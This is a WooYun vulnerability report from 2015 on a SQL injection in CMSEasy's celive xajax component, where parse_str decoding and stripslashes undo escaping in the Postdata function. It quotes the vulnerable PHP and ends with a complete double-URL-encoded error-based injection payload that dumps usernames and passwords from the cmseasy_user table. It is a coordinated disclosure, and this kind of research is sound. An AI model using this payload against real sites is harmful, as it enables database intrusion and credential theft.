当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137013

漏洞标题:cmseasy 无限制报错注入(php函数的坑)

相关厂商:cmseasy

漏洞作者: menmen519

提交时间:2015-08-26 10:30

修复时间:2015-11-24 10:36

公开时间:2015-11-24 10:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-26: 细节已通知厂商并且等待厂商处理中
2015-08-26: 厂商已经确认,细节仅向厂商公开
2015-08-29: 细节向第三方安全合作伙伴开放
2015-10-20: 细节向核心白帽子及相关领域专家公开
2015-10-30: 细节向普通白帽子公开
2015-11-09: 细节向实习白帽子公开
2015-11-24: 细节向公众公开

简要描述:

cmseasy 无限制报错注入(可获取全站信息exp)

详细说明:

问题还是出在clive 上面,但是跟以往的不同的是,xjxquery 这个上面就发生了问题,看代码:
xajax.class.php:

if ($rootTag == "xjxquery") {
$sQuery = "";
$this->iPos++;
while (!stristr($this->aObjArray[$this->iPos], "</xjxquery>")) {
if (stristr($this->aObjArray[$this->iPos], "<q>") || stristr($this->aObjArray[$this->iPos], "</q>")) {
$this->iPos++;
continue;
}
$sQuery .= $this->aObjArray[$this->iPos];
$this->iPos++;
}
parse_str($sQuery, $aArray);
if ($this->bDecodeUTF8Input) {
foreach ($aArray as $key => $value) {
$aArray[$key] = $this->_decodeUTF8Data($value);
}
}
if (get_magic_quotes_gpc() == 1) {
$newArray = array();
foreach ($aArray as $sKey => $sValue) {
if (is_string($sValue))
$newArray[$sKey] = stripslashes($sValue);
else
$newArray[$sKey] = $sValue;
}
$aArray = $newArray;
}
}
return $aArray;
}


问题发生在哪里了:
parse_str($sQuery, $aArray);
这个函数,本身会对url编码进行一次decode的
测试一下

<?php 
echo $_GET['b'];
echo "<br>";
parse_str($_GET['b']);
echo $a;
?>


1.png


成立
第二处逻辑
如果gpc开启的话,它会进行一次stripslashes

if (get_magic_quotes_gpc() == 1) {
$newArray = array();
foreach ($aArray as $sKey => $sValue) {
if (is_string($sValue))
$newArray[$sKey] = stripslashes($sValue);


以往的 注册函数有两个前台可以利用:
Postdata 和 LiveMessage
看看LiveMessage:

function LiveMessage($a) {
global $db;
$sessionid = $_SESSION['sessionid'];
$name = addslashes(htmlspecialchars($a['name']));
$email = addslashes(htmlspecialchars($a['email']));
$country = addslashes(htmlspecialchars($a['country']));
$phone = addslashes(htmlspecialchars($a['phone']));
$departmentid = addslashes(htmlspecialchars($a['departmentid']));
$message = addslashes(htmlspecialchars($a['message']));


所有的参数都被addslashes
我们在看看:
Postdata
function Postdata($a) {
global $db;
$chatid = $_SESSION['chatid'];
$name = $_SESSION['name'];
$a['detail'] = htmlspecialchars($a['detail']);
if (!get_magic_quotes_gpc()) {
$a['detail'] = addslashes($a['detail']);
}
如果gpc开启的话,就不进行addslashes 好的 直接exp
发送url:
http://localhost/Cmseasy/celive/live/header.php
postdata:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520cmseasy_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>

2.png


漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-26 10:35

厂商回复:

谢谢

最新状态:

暂无